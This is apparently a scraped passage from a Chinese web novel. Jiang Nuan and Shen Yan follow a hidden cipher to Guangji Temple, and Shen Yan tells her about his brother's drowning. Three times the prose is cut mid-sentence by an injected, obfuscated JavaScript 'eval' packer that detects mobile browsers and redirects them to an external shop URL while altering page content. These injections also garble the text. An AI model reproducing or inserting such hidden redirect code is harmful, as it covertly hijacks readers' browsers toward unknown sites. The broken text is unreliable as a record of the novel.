终于有一天,他在城外的一处小河流蹲到了刚刚回来还没来得及进城门的温岫,他们一行人正在城外的一处小河流里洗澡。 他还没走近就看到约莫十几个小兵在水里蹲着,只露了个脑袋在水面上。其中一个脑袋结结巴巴地开口对岸边蹲着的人说:“小小小将军你能不能换换换个地儿啊?”一张脸憋得通红。 “你们几个屁股被虫咬了还是我亲自烧红了匕首挨个儿烫的,怎么这会儿倒是害羞了?”说话的是岸边蹲着的一个背影,两只手不知道在水里扑腾什么。 那声音还在说,“都说了多少次,叫我什么?” “温姐。”另一个脑袋下巴都要杵进水里去了,期期艾艾道:“我们洗澡呢,您在这儿,我们多不方便……” 那女声没有丝毫的不好意思,反而嗤笑道:“别吵吵,马上就好。” 她手里正提着一只烫了毛的野鸡,这会儿正开膛破肚,搞得一手血呼啦的。 姜暖刚从山里弄了点野味儿,想着这些小崽子们这几日辛苦了,给他们好好补一补。谁知道她刚过来打算清理就看到一排光屁股下了水,她倒是无所谓,什么大场面她没见过?于是就大大咧咧地将野鸡拔了毛又蹲在水边清理内脏。也不知道哪个小子回头看了一眼,好一阵惊慌失措唧唧哇哇,吓得她差点将手里的野鸡脱手。 几个小崽子挤成一团蹲在水里,活像一群被流氓偷看了身子的小娘子,只恨不得把脑袋也藏进水里去。 温岫手起刀落,抽空瞥了一眼水面:“啧,出息。” 一排排鹌鹑脑袋,脸红得跟猴屁股似的,齐刷刷地盯着温岫,直到她处理完所有的内脏淡定地离开。 “娘咧,我清白木有咧。”一号鹌鹑缓缓站起来露出干瘦的胸膛。 “俺老家还有未婚妻咧。”二号鹌鹑紧随其后。 “咦?那岸上细皮嫩肉的小子是谁?”三号鹌鹑一把拉住二号的大腿。 沈晏:“……” 温岫听到背后的脚步声回头看,但她一时没记起来这唇红齿白的公子哥是谁,想着是不是路过的富商公子什么的。直到沈晏开口喊了一句:“温岫将军。” 温岫提着野鸡脖子,血水滴了一路,她拧眉想了好一会儿,实在没想起来。 “你是?” 后面有一只鹌鹑开口提醒:“温姐,他好像是那个昭宁城来的安王世子。” 温岫恍然大悟,恭敬地行了个礼,便越过他继续去架柴堆准备烤肉了。 沈晏站在原地深呼吸了好几次。 鹌鹑们在水里蛐蛐:“我打赌,温姐应该是忘了。” “我跟。” “我也跟。” “算我一个。” 最后一个本来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曾经有个人也是如此,尽管自己害怕在丛林里行走,但是只要是在执行任务,她总会短暂克服和忍受。最开始训练也是这般,一遍不行,就两遍,两遍不行就三遍。虽然最后她对丛林还是充满恐惧,但真遇到生死关头她依然是值得信任的队友。 不到半年,温岫便对沈晏彻底改观,对他的欣赏也渐渐超过了轻视。甚至时常在他那股儿执拗的劲儿上来时,开始想念起姜暖来。 于是在某一天,沈晏知道了温岫的一个惊天大秘密,也知道了她一直在找一个女孩儿。 “等等,你是说,温老将军和你都相信了我师父是身死魂穿?” 姜暖讶异了,这种怪力乱神之事他们就这么坦然接受了? 沈晏瞥了她一眼,道:“一开始也是不信的。” 但是密文这种符号怎么解释?还有温岫总是会在不经意间奇怪的想法,展现出别具一格的战斗技巧? 他跟温老将军便觉得,说不定真的有另外一个世界呢? 阎罗殿和九重天不也有人相信是真实存在的么? 后来,温岫便开始对他说一些关于姜暖的事,说到最后几乎都有重复的了。有时候会突然想起一段有趣的,但会被沈晏麻木地提醒,这段已经听过八百遍了。 换句话说,沈晏从很久很久之前,就从温岫的口中认识了姜暖。 他知道了姜暖在十四岁之前还没二狗站起来高,气得她天天抢二狗的牛奶喝。也知道了姜暖第一次和同批训练的孩子外出执行任务的时候害怕地尿了裤子,最后怒而将队里所有的小崽子们一个个揍得鼻青脸肿并威胁他们不准说出去。 还知道…… “你可以闭嘴了……” 原本悲伤的情绪突然被羞愤轰炸了个稀巴烂,刚刚还在沉湎在师父又一次死去的哀恸中,现在恨不得把人从坟里摇起来质问,为什么要把她的黑历史宣扬出去啊! “世子你没事儿吧!” 不远处的桥上忽然传来唐田的大嗓门。 只见唐枳和唐田骑着马立在桥中间,风尘仆仆的模样。 兄弟二人方才在桥上看到世子和姜暖在河边拉扯,心头还颇有点紧张,心道这两人不会是干起来了吧。 沈晏看到他们俩眉宇间稍稍松懈了几分,猜想应该是之前让唐枳查的事情有结果了。 32. 第 32 章 唐枳回来第一时间拉着唐田直奔王府,但是康伯说世子和姜暖去北郊马场骑马了。两人又往北郊马场去,中途遇到了返回的七殿下,那赶车的车夫竟然是宋怀轩。 七殿下支个脑袋出来说,你们世子和姜录事打起来了,打得可凶了。从玄武门一路打到了朱雀门,估计这会儿都要出昭宁城了。 唐枳一看七殿下一脸戏谑的模样就知道这话有水分,唐田倒是看热闹不嫌事大,还非要问七殿下过程怎么样是不是很精彩。 本来不打算吭声的宋怀轩突然认真道:“可否帮我问一下,姜录事什么时候把马还给我。” 唐田更兴奋了,跟两位道了别,怪叫一声撒蹄子跑了。 两人顺着天街一路往正南门赶过去,刚到折柳桥就看到了两个人伫立在河岸边拉扯的模样,两人的身躯在拉拽间又刚好重叠了一部分。从他们的角度来看,姜暖此时正表情凶狠地抓着他们世子的领口往下拽,手握着拳头扬在了空中要落不落的样子,而世子双手垂在两侧,一副任君处置的摸样。 待两人离得近了,发现这两人之前又好像什么都没发生过,只是表情都有点尴尬。 唐田左看右看,除了世子领口有点皱巴巴好像也没有其他地方有受伤的痕迹,难道是暗伤? 他趁着唐枳同世子说话的间隙,挪到姜暖身侧,用肩头去撞她,发起咬耳朵的邀请。 “你跟世子打架了?”唐田悄摸地问。 姜暖暼了他一样,不想说话,于是拒绝了他的邀请,往沈晏的方向靠了靠。 唐田不死心,还想蛄蛹,突然接收到了世子轻飘飘的一眼,他不敢动了。 唐枳说,他在周府观察了几日,周夫人没有任何异常,像是不知道那个簪子别有玄机。猜测应该是周正没有跟周夫人讲过,她应当是不知情的。于是他费了一些时日找工匠秘密仿制了一根一模一样的发簪,趁夜深人静的时候替换了。 说罢,唐枳从怀里掏出了那支海棠花簪交给沈晏。 沈晏接过来,掂在手里反复看了几遍,最后发现簪身接近顶端的位置有一圈不太明显的痕迹,应该是拼接留下的。 他顺着那个痕迹一掰,果然露出了空心的簪身,空心眼儿里头塞了类似绢帛之类的东西。 姜暖将头上的发钗拔下来,用尖细的末端伸进去,将那绢帛勾了出来。 沈晏将绢帛接过来展开,只见上头写了一串密文,根据之前书册上的笔迹来看,这个应该是出自周正之手。 姜暖凑过去,将那密文读了出来。 ——于广济寺为母亲供奉一尊佛像 ? 嗯? 就这? 唐田:“给母亲供奉佛像也这么躲躲藏藏?” 这非常不符合常理,连唐田都看出来了。 看来他们要的东西,就在广济寺中。 咚——咚——咚—— 这时,广济寺传来了钟声。 厚重沉闷的声音回荡在山野间,惊起山中飞鸟成群,远处一轮红日正静静地挂在静山最高的山峰上。 “不是说晨钟暮鼓么?”姜暖疑问,“今日是什么日子?” 沈晏望着钟声的来源位置有些出神,好一会儿他才说:“有香客在为去世的亲人祈福和超度吧。” 但他没有说完的是,广济寺作为皇家的庙宇,一般只会给已逝的皇亲国戚敲钟祈福超度。 而后天,是他哥哥的忌日。 除开每年冬月父亲的忌日外,每年的八月初五,母亲便会提前替他哥哥敲三天钟,年年不忘。 回去的路上,又变成了姜暖和沈晏两个人。唐田牵着宋怀轩的马去了宋府,唐枳则去广济寺调查佛像的线索。 姜暖骑着踏雪,感受到沈晏的背影似凝聚了千万重悲伤。她不太会安慰人,只能默默跟在后头,思绪自然又回到了她师父的身上。 她和她师父在时间的长河里溯游而上,但不知道出于什么原因,并没有在同一个时间节点上岸,导致了时间前后相差了有二十多年。 她过来的时候,师父已经在这个世界去世了五年。也许冥冥之中早有注定,她一来便卷进了五年前她师父被害死的案件中。她十分庆幸当时果断地选择了和沈晏合作,这好比人在吃鸡刚落地还分不清东西南北的时候,顺手点了进了熟人大哥的队伍。 以前她想着,不过是配合保命罢了,等沈晏将五年前的真相公之于众,皇后和太子倒台,她便不受威胁,自由来去。 直到刚才,她才正式成为了沈晏的的盟友,因为他们的目标达成了一致,她便不再是别无选择的棋子。 今夜月明星稀,安王府的夜晚如寻常一般清冷。 姜暖半夜横竖没睡着,打算起来溜达两圈。 小院里月辉铺满了砖石地面,她仰头看了看这四方的瓦檐高墙,觉得透不过气来。于是三两下爬上了院中高大的榆树,选个了稳当的树杈子坐下,又随手摘了一片树叶含在嘴里。 视野一下被拉得很远,脚下是昭宁城错落有致的屋檐,头顶是郎朗明月,她隐身在这茂密的树冠中,将大半个安王府纳入眼底。 这才对嘛。 以前她出完任务回来睡不着的时候,常常半夜溜到树杈子上抱着树枝睡觉。后来姜竹觉得太危险,便在基地附近给她弄了个小树屋,刚好装得下小小的她。 再后来,她长大了,那个树屋便再也装不下了。 不过好在那个时候,她已经不会失眠了。 姜暖有点难过,就像一股气憋闷在心头,虽然还不至于把她憋死,但怎么也散不出去。鼓鼓囊囊地顶在心口的位置,时时刻刻都在提醒着她它的存在。 她幼年时,无父无母,只有变来变去的买家。 最后一次停止交易是在N国的一个地下拍卖场,她在那里的后厨工作。因为长期营养不良,她长得比同龄人都要瘦小,脑袋上甚至都没多少头发,因为长发看着不好看,便剃了个寸头,看着丑不拉几的。 后来巧合被姜竹买走了,才开始了有饭吃有床睡的生活。 但是这种生活也是要靠争取的,如果不能获得好的成绩,就只能被扔出去成为野兽的口粮。 姜竹很照顾她,经常单独给她开小灶,后来她终于在基地里有了属于自己的房间。 他们的生活就是训练,执行任务,活着回来或者死在没人知道的地方。她成年后诞生了第一次想要离开的念头。 但姜竹只回她一句话,要么在这儿活着,要么在外面死去。 她们这里的人都没有第三条路。 她有点倦了,哪里最危险她往哪里冲,别人都以为她是拿命换积分,其实她自己知道,她在子弹擦过脖颈的那一刻她其实期待过死亡。 但姜竹不允许,她虽然什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676765|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么都没说,只会给她做一锅香喷喷的白面馒头,配着她自己炒的肉臊子。 一盆又一盆,跟喂猪似得。 其实她炒的臊子一点也不好吃。 姜暖觉得自己的眼睛有点胀胀的,好像有水汽涌了上来。 啧,不会是要哭了吧。 咻—— 一个小石子儿不偏不倚打中了她的小腿。 姜暖循着方向看过去,发现主院的房顶上不知道什么时候坐了一个人。 咻—— 沈晏又丢过来一颗,这次她躲了一下,那石子儿打在了后面的围墙上,声音一点也不清脆。 估摸着又是用的碎银子。 姜暖怒目而视,又反应过来她这边暗对方可能看不到,她只能没脾气地换个方位坐。 沈晏的手又抬起来了。 “你要干啥!” 姜暖怒了,怒音在整个主院回荡。 “过来。”沈晏不知道是不是喝了酒,反正整个人的语气跟平时不大一样。 姜暖先看了一下路线,决定先从树干跳到最近的屋檐上,然后顺着小院的房顶翻过中间的围墙,最后顺利到达主院的屋顶。 按照原身会轻功这点来说,这个距离和高度应该不成问题。 但是,她作为一个现代人,需要克服一下地球重力这个认知,为了不让刚长好的腿再嘎嘣一下折了,她还是决定稳扎稳打。 等她慢腾腾蹦跶过去时,沈晏的脸上早就写满了无声的嫌弃。 “笨死了。” 虽然身上确实有一点点的酒气,但舌头暂时还是捋直了的,看来是没喝醉。 姜暖阴阳怪气地回道:“不如您聪明,知道房顶上硌得慌,还特意带了一床被子来保护您最娇嫩的臀部。”说着从他的屁股下硬扯了一角出来,再理直气壮地坐上去。 沈晏没理会她话里有话,只抬了眼问她:“你大半夜不睡觉跑树上干什么?” “赏月。”姜暖睁眼说瞎话。 沈晏自然是不信的,但也没继续追问。 赏月就赏月吧,他也是出来赏月的。 哦,他还带了点心。 姜暖看着沈晏递过来的糕点,十分震惊,她以为会递过来一坛酒什么的,没想到是…… 枣泥糕? 沈晏看她不接,手又往前递了递,“你尝一下,好吃的。” 姜暖表情复杂地看了一下枣泥糕,又看沈晏那张突然变得人畜无害的脸,问:“你酒量是不是不好?” “没醉。”沈晏的回答拖长了一点点音调,听起来有点像撒娇的口吻,但又不是那么的明显。 手上的糕点都要怼到她脸上了,她不得已赶紧接过来十分给面子地咬了一大口。 齁——甜! “我没骗你吧。”沈晏竟然笑了,右边的唇角处尽然有个浅浅的梨涡。 姜暖突然觉得那口已经咽下去的枣泥糕糊嗓子,整个口腔乃至鼻腔里都是那股甜腻腻的味道,她有点受不了地咽了两大口唾沫。 沈晏或许真的没有醉,但是酒精肯定是发挥了一定的作用,让他整个人柔和下来了,跟平时在外的表现有很明显的区别。 不行,再这么待下去,估计要出点事。 姜暖便想走,谁知道屁股还没离开,沈晏先一步拉了她的胳膊,将人拽了回来。 “跑什么?” 33. 第 33 章 “困了。”姜暖嘟嘟囔囔地说。 沈晏拉着她的胳膊不放,“那你在这儿睡。” 姜暖:“……” 你多少有点胡搅蛮缠了哈。 她最终还是没离开,而是和沈晏并肩坐在一起,有一口没一口地吃着那甜腻腻的枣泥糕,吃得她口水都干了。 沈晏又从背后掏出来一小瓶青梅酒。 姜暖喝了一口,普普通通的口感,没什么特别的。 她不由好奇地问:“你之前在漓州给我的喝的那坛……” 沈晏知道她想问什么,调整了一下坐姿道:“那坛是温将军酿的。”见她又要开口,接着道:“没了。” 姜暖有点惋惜,“就留了那一坛?” 沈晏嗯了一声。 那最后一坛青梅酒是温岫留给姜暖的,好像是她酿的第一坛,就埋在青罗城外的一棵老槐树下。 他跟温岫熟络起来之后,自然也获得了青梅酒的品尝权,但他对酒水之类不太感兴趣,和温岫喝过一次后,便没再喝过了。 温岫倒是很信任他,每次埋酒就抓他当劳力,因为他不会偷喝。 那坛给姜暖留的酒,也是温岫当时特地给他说的。 后来又说,如果一直没能找到姜暖,这坛酒以后就给他这个小徒弟当新婚贺礼了。 “说起来……” 姜暖突然故作沉思,“你白日说温岫将军收了你当徒弟……” 沈晏的身躯顿时一僵,他突然有一种不好的预感。 果然,便听姜暖略有点兴奋地说:“那我,岂不是你师姐?”说罢,她摇肩去撞了一下沈晏,眉目含笑,“叫声师姐听听?” 沈晏觉得身上有点热,转过头去不看她。 关于收徒这事,其实也没有走正式的流程,而是温岫突然有一天莫名其妙地喊他小徒弟,说以前被人追在屁股后面喊师父,还挺幸福的,想重温一下。 但他一直没开口喊过她师父,其实只能算是温岫单方面的收徒。 姜暖本来也是玩笑话,见他不接招,便也没穷追猛打。 很快,一小瓶青梅酒被她喝了个精光,剩下的四块枣泥糕全都进了沈晏的肚子。 看来他是真的很爱这款甜食了。 姜暖还在思考这位祖宗什么时候犯困,好放她回去睡觉了。 结果这祖宗开始讲故事了。 “这枣泥糕,是我母亲唯一会做的糕点……” 姜暖本来还有点想打个哈欠,听到这里人一下就坐直了。 冷月的清辉洒在他们身上,四周虫鸣嘈杂。夜风撩起沈晏有些许散乱的发丝,姜暖盯着他被月光勾勒的侧脸发愣。 他的嗓音如孤独的落叶飘零在秋夜,寂寥而深沉。 他刚出生的时候便不常见母亲,父亲也只隔三岔五见上一次,年岁小的时候不觉得有什么,反正每日陪在自己身边的人有很多。 直到三岁的时候,他偶然从一个小丫头口中得知自己还有一个哥哥,父亲母亲一直陪在他身边,他这个小公子根本就不受王爷和王妃的重视。 后来他便偷偷溜到了琴瑟小院,见到了他的哥哥。 哥哥似乎是知道他的存在,也十分喜欢他,一发现他便将桌上的枣泥糕送给他吃。 那枣泥糕他是见过的,隔三岔五便会在他的小饭桌上出现,可是他不是特别喜欢。不过每次康伯都哄着他,说是王妃亲手做的,哄得他每次都吃完。 在那日之后,他才知道,那枣泥糕是哥哥最喜欢的,不过平日里需要忌口,不能多吃。而他的那份不过是多出来的,哥哥吃不下的,康伯还骗他是母亲做给他吃的。 他很生气,赌气从此以后再也不吃枣泥糕了。 但那糕点还是隔三岔五便送来,他对过来看他的父亲发脾气,问母亲是不是讨厌他,根本就不想生下他,所以才很久很久都不来看他一眼。 父亲把他抱在怀里哄,说明日便带他去见母亲。 第二日,他真的被父亲抱去了主院,也见到了他的母亲。 母亲生得很漂亮,静静地立在廊下,日光打在她的身上,像莲台上的观音。 父亲将他牵到母亲的面前,他去拉母亲的手,母亲没有说话,只是将他带到了房间里。哥哥在里屋用狐裘裹着,小口小口地喝着药。 到了里间,母亲便放开了他,让嬷嬷将他抱在贵妃榻上玩玩具。 他虽然很遗憾,没能被母亲多拉一会儿小手,但那天是他最开心的一天。父亲教哥哥写字,还会给他读小人书。 母亲虽然不爱说话,但是看着他们的眼神都是柔柔的,午睡的时候还会给他们扇扇子。 枣泥糕确实是母亲亲手做的,他和哥哥一人一半。他很高兴,决定将枣泥糕作为第一爱吃的糕点,永不更改。 本以为,这样的日子他会一直一直过下去。 可是,后来…… 后来发生了什么事,姜暖大概能猜到。 这些事,与康伯跟她说的大差不差,沈晏的童年好像没有获得过完整的父爱和母爱。好不容得到了一点点,最后都好似梦幻泡影,一触即碎。 姜暖看着沈晏的眼神不由地带上了那么点同情,沈晏的声音也渐渐变得沙哑。 那日,他贪玩跑到了后花园,从院外飞来了一只蓝色的蝴蝶。哥哥昨日画的画上就有一只蓝色的蝴蝶,他便去寻了哥哥来看。 哥哥十分高兴,他便想替哥哥抓了这只蝴蝶来。谁知道蝴蝶飞到了荷塘边,他伸手去够的时候,脚下一滑摔进了荷塘。 哥哥见他在岸边扑腾,想也没想就去伸手拉他,结果是两个人一起落进了水塘。 一切都发生得太快,丫鬟和嬷嬷们吓得惊慌失色,忙喊了小厮过来救人。 可是最后,他的哥哥再也没有睁过眼。 从那以后,他再也没能见过他的母亲,连父亲也很少出现了,而那份枣泥糕也再也没出现过。 后来许是康伯怕他难过,便找了厨娘做。但是康伯不知道,他吃的出来这不是母亲做的枣泥糕。 他被关在了属于他的小院子,直到三年后他的父亲去世,母亲在处理完丧事便搬去了广济寺长住。 再后来他便被接去了宫里,在皇上的身边教养长大。 外头的人说他克死亲人,是不祥之人。他的母亲为了躲避灾祸,才不得已去广济寺长住。 如今安王府的凋敝也皆是因为他,天生命里带煞。皇上将他丢去边城,也是为了让战场的血腥气洗刷一下他的煞气,结果反而让温岫将军和三万将士无辜丧命。 “你怕我么?”沈晏歪着头看姜暖。 姜暖看着他略带自嘲的表情,宽慰道:“放心,我命硬,你克不死我。” 这倒不是她吹,这一路走来多少次的死里逃生,她现在不还是全须全尾的。 沈晏无声笑了,双手往后撑,仰头看着头顶的上弦月,目光里似有碎光微闪。 “你说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683055|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我哥会不会后悔那天去救我?” 姜暖偏头想了一下,反问他:“那你后悔那天去抓那只蝴蝶吗?” “后悔。”沈晏不假思索。 他每一天都在后悔,要是那天不去后花园,没有见到那只蓝色的蝴蝶,没有自告奋勇不顾哥哥的劝阻非要抓到那只蝴蝶。 是不是一切都会不一样? “那要是你那天抓到了那只蝴蝶但没有掉进荷塘呢?”姜暖又问,“那只蝴蝶能让你哥哥开心吗?” 沈晏愣住了,好看的眉很快拧了起来。 他没有想过这个问题,他执拗道:“可我就是会掉进荷塘啊……” 姜暖:“你要是知道你会掉进荷塘,你从一开始就不会去抓蝴蝶啊。” 沈晏的瞳孔猛地一缩,表情有些震动。 姜暖继续说道:“事后产生了坏的结果,人才会后悔。” 虫鸣高昂,不知疲惫。 “在当下做出判断的那一瞬间,所有动作都是出自本心。”所以怎么会后悔呢,就算重复一百次,选择也是一样的。 “至少安世子在救你的那个瞬间,他是不后悔的。” 姜暖不知道她这一番话能宽慰他多少,但是她说完觉得自己还挺有哲理的,她十分满意。 过了一会儿,沈晏才有反应。 他先是笑了一声,喊了一声姜暖。 姜暖转过脸看他,“干嘛?” “没什么。”沈晏向她靠了靠,道:“只是突然觉得,你说话也不是每次都噎人。” 姜暖皮笑肉不笑,“谢谢夸奖。” 两人在房顶上吹了半个晚上的夜风,等到天边微微泛起鱼肚白的时候,沈晏才终于觉得有些倦了。 姜暖倒是熬兴奋了,待会儿收拾完吃个早饭可以直接出门上值了。 她拍拍屁股站起来,正在思考要不要原路返回,从那棵老榆树上溜下去,身后传来了沈晏懒洋洋的声音。 “拉我一把。” 这全身的肌肉也不知道长来干嘛使的,姜暖不情不愿地去拉他。 不知道是他酒劲儿来得晚,还是长时间保持一个姿势所以脚麻了使不上力。姜暖觉得他一点都不配合,反而还在把她往下拽。 “你倒是动一下啊!” 沈晏借着姜暖的力道摇摇晃晃地站起来,还没站稳呢,姜暖就要放开,他重心一歪,直往姜暖身上扑。 姜暖暗道不好,本来打算往旁边撤,但是她忘记了这是房顶不是平地。 最后两个人跌在了一处,沈晏眼疾手快护住了姜暖的后脑勺,沈晏的嘴巴还恰好嗑在了姜暖的脑门上,撞得她脑瓜子嗡嗡的。 还没等两人反应过来,他们又顺着屋檐的斜坡面往下滚去。 姜暖眼冒金星,已经顾不上发生了什么,在一阵天旋地转中,她先是感受到一阵骤停,随后又急速下坠。 等她反应过来的时候,人已经趴在了沈晏的胸口上,旁边噼里啪啦落下来几片瓦。 姜暖:“……” 这沈晏不会真的克人吧…… “你没事吧。”沈晏搂着她问道。 姜暖看着沈晏近距离放大的红唇,以及他下唇上磕破的小口子,顿时屁股像被火烧了似的从他身上爬起来,摸了摸自己的额头道:“没事没事没事。” 说完就开溜,完全没听沈晏在她的背后说什么。 她就知道,会出事会出事! 她就该早点回屋睡觉! 34. 第 34 章 唐枳去广济寺转了一圈,从一个小沙弥的口中得知三年前周正确实在万佛阁供奉了一尊佛像。 那日他印象特别深,只因周正手中的佛像是自己在外买的,但外观和广济寺的佛像是一样的。这样在外买好佛像入寺供奉的香客不多,那周正又说着一口外地的口音,所以小沙弥只略作一想,便记起来了。 不过周正只为佛像供奉了三年,现三年之期末已过,他的那尊佛像早已不在万佛阁中。 “扔啦?”唐枳暗道不好。 小沙弥连忙解释:“没有没有,只不过是换了个地方供奉。” 每年在广济寺请佛像的香客众多,大多是三年,五年,十年不等,富有者一般会选择供奉终身。供奉的时间到了,便会由沙弥将佛像请出去,恭敬地置放在后山的古树下,并不会随意丢弃。 但静山上古树众多,每一株树下都有佛像百十个,要细细找的话,着实要费上些功夫。 这件事不便大张旗鼓地派镇安司的人去静山搜寻,沈晏便安排手下的暗卫协同唐枳和唐田暗中搜寻。 …… 姜暖今日刚睡醒,沈晏便提溜着她往城郊去。 说是带她去见一个人。 神神秘秘的。 两人刚出府门,七殿下府中的一个小厮恰好送了点心来,是姜暖最爱吃的白面馒头。 往常七殿下喜欢送她吃食,但她对其他花样百出的糕点顶多就尝个新鲜,吃多了也那样。还是白面馒头白吃不腻。 七殿下后面也发现了,便搜罗了昭宁城中所有会做馒头的厨子,多番尝试下终于找到了一个蒸馒头手艺特别合姜暖胃口的师傅。 于是,他便隔三岔五给姜暖投喂,有时候是亲自上门,有时候是遣了小厮来。 这会儿姜暖虽然已经用了早膳,但还是抵不住馒头的诱惑,伸手拿了一个。剩下的让康伯收好,她晚上回来吃。 “就那么爱吃这个?”沈晏忍不住问,“你在府里没吃够?”府里的厨子不会做馒头么? 姜暖嘴里包着馒头嚼嚼嚼,含糊地说:“好吃啊。”都做好了送到门口了,不吃也是浪费,而且:“我感觉这个厨子的手艺比较好一些。” 松松软软,回弹极佳,不噎嗓子,回口略带甜,这才是顶好的面食儿啊。 沈晏看着她像松鼠囤食似的腮帮子,忽然觉得可爱极了,那一丁点儿的醋味儿还没聚拢便散了个干净。 两人一人一马,还未拐出东市大街,在半道上遇到了宋怀轩。 宋怀轩也是一人一马往城外走,姜暖习惯了每次宋怀轩出现,十步之内必会遇到七殿下。不过这次却挺意外的,三个人一道走了好长一段路,也不见七殿下的影子。 说起来,也是很久没见到七殿下了。 倒也不是她想,就是突然有点不习惯。 宋怀轩知道姜暖在探头探脑地看什么,便道七殿下在宫中侍疾多日了。 姜暖哦了一声,前段时间是有听说皇上最近身体不太好,这个月已经有多日不曾早朝了。百官们猜测许是因为李家的事,牵连甚广,圣上为此大动了肝火,以致邪风入体。 按理说各皇子都要去宫里侍疾,轮班伺候。但眼下太子远在幽州督造河堤一事,加上皇上短时间因为李家的事也不太想见他,故而没有召回。 而宫里的三殿下和宫外的八殿下因为身体的原因都不能长时间在御前侍疾,所以眼下也就七殿下一个能扛事儿的。 估摸着已经在宫里熬了好几天了。 “世子和姜大人这是去何处?” 瞧着便要出了明德门,看着也不像去城郊跑野的,这个方向也不是去广济寺。 倒像是…… 姜暖看宋怀轩盯着她瞧,心说你别问我,我就是个配菜。沈晏稍稍放慢了速度恰好挡住两人的对视,道:“无名居。” 宋怀轩虽然猜到了,但还是略有点惊讶,道:“那真是巧了,我也去无名居。” “无名居有谁在啊?”姜暖问,搞得神神秘秘的,沈晏只说今日带她见一个故人,也没提名字。 宋怀轩本来想说,但又觉得世子没给姜大人说应该有自己的考量,还是不要多嘴了。 但他其实想错了,沈晏倒是没有刻意不给姜暖说,只是姜暖全程非常配合,一张嘴塞满了食物也没腾出来问他,他也就没多说。 姜暖也没在意,沈晏总不能把她卖了吧?反正到了就知道了。 她今儿吃得有点多,感觉有点晕碳。 三个人出了城门往东顺着小道走了一会,半路上又遇到了一个熟人。 嚯,今日是什么日子? 谈望舒今日一大早便亲自去西市买了些香蜡纸钱,又在集市上租了一匹毛驴,慢悠悠地往城郊去。 城郊的路后半段不太好走,马车容易陷在泥坑里,便没有套车。 林中行进了一段路后,便听得身后马蹄嗒嗒,他忙骑着小毛驴往路旁让道。待他回头一看,发现是安王世子和姜录事,宋副统领紧随其后。 三匹骏马在他跟前勒停,安王世子垂眸看他:“谈大人。” 谈望舒没想到在此处能遇到他们,连忙将手里的篮子搁在驴背上,先向安王世子行了个礼,“世子。”又向他身后的两个人分别见礼。 姜暖对谈望舒的印象不错,回礼后方才看到谈望舒身前的篮子,篮子里装得好像是上坟用的东西。便好奇地驱马上前问:“谈大人这是上山祭拜吗?” 她最近几个月在大理寺倒是听说过谈大人的一些事。谈大人在昭宁城任职时,只带了家中瞎了一只眼的老母亲和一个半疯的妹妹,不过妹妹早年便病逝了。 且谈大人不知为何至今未娶妻,膝下也并无儿女,也再没有其他的亲眷。 她猜想,谈望舒今日应该是去祭拜妹妹的。 果然,谈望舒温和地点点头,眼角有一点笑意。 “今日是她生辰,便去看看她。” 沈晏问:“是谈大人的妹妹?” 谈望舒点头,他看了一眼姜暖,又道:“也是故人。” 这话倒是说得很突兀,姜暖觉得刚刚谈望舒看他的眼神有点不太一样,好像是藏了千言万语在眼底。 同谈望舒道别后,姜暖骑着马心不在焉。 他总觉得谈望舒给她一种难以言明的感觉,那是一种很淡很淡的情绪,似乎就只是多看了她一眼而已。 “你怎么了?”沈晏问,从方才就魂不守舍的。 姜暖皱了皱眉头,本来想把心里的想法说出来,但碍于宋怀轩在场,她忍住了,而是说起了其他。 “谈大人这么多年为什么不娶妻呢?” 这点也很奇怪,按理来说,谈望舒这人待人温和有礼,模样也不差,就算出身白衣,也不应该娶不上妻子才对。 沈晏放慢了速度,与她并肩。 “曾有世家女青睐,家中也有意撮合,但谈大人一口回绝了。” 谈望舒是承安九年的探花,不少世家有意招揽,做上门贵婿。后来也有世家女甘愿嫁进谈家照顾他的母亲,但都被他一一回绝了。 只因他说少时曾定下了婚事,已有未婚妻子,虽后来意外分别,但他仍旧要守着这个约定。就算要另娶也要与那家人当面解除婚约才行,所以他一日不寻到未婚妻便一日不娶妻。 当时所有昭宁城的人都赞他守诺,又有圣上的嘉许,那些差点踏破了谈家门槛的媒婆也就尽数散了。 如今,谈望舒已四十有三,仍孑然一身。大家都猜测他那个未婚妻怕是早就嫁作他人妇,只可惜谈大人这一腔赤诚了。 姜暖晃了晃脑袋,道:“原来不是娶不了,而是不想娶啊。” 这世道竟然真的有如此执拗和痴情的人吗? 宋怀轩在后头也听得感慨万分,他久不在昭宁城,自是不知晓此事的。 姜暖突然惋惜地小声说道:“真是可惜了这么一副顶好的皮囊。” 优质的外表是基因彩票,谈大人如此儒雅俊秀的基因没有遗传下去真是可惜了,怪不得往后的几千年好看的人越来越少了,大都是些长得千奇百怪的类人猿。 “不过。” 沈晏暼了姜暖一眼,话锋陡然一转,难得话多起来。 “有一段时间,坊间有闲话说他那病逝的妹妹就是他的未婚妻。” 沈晏话一出口,不仅姜暖,连宋怀轩的耳朵都竖起来了。姜暖连忙问:“这话从何说起?” 其实也不是沈晏八卦,这事儿还是唐田在他耳边叨叨的。 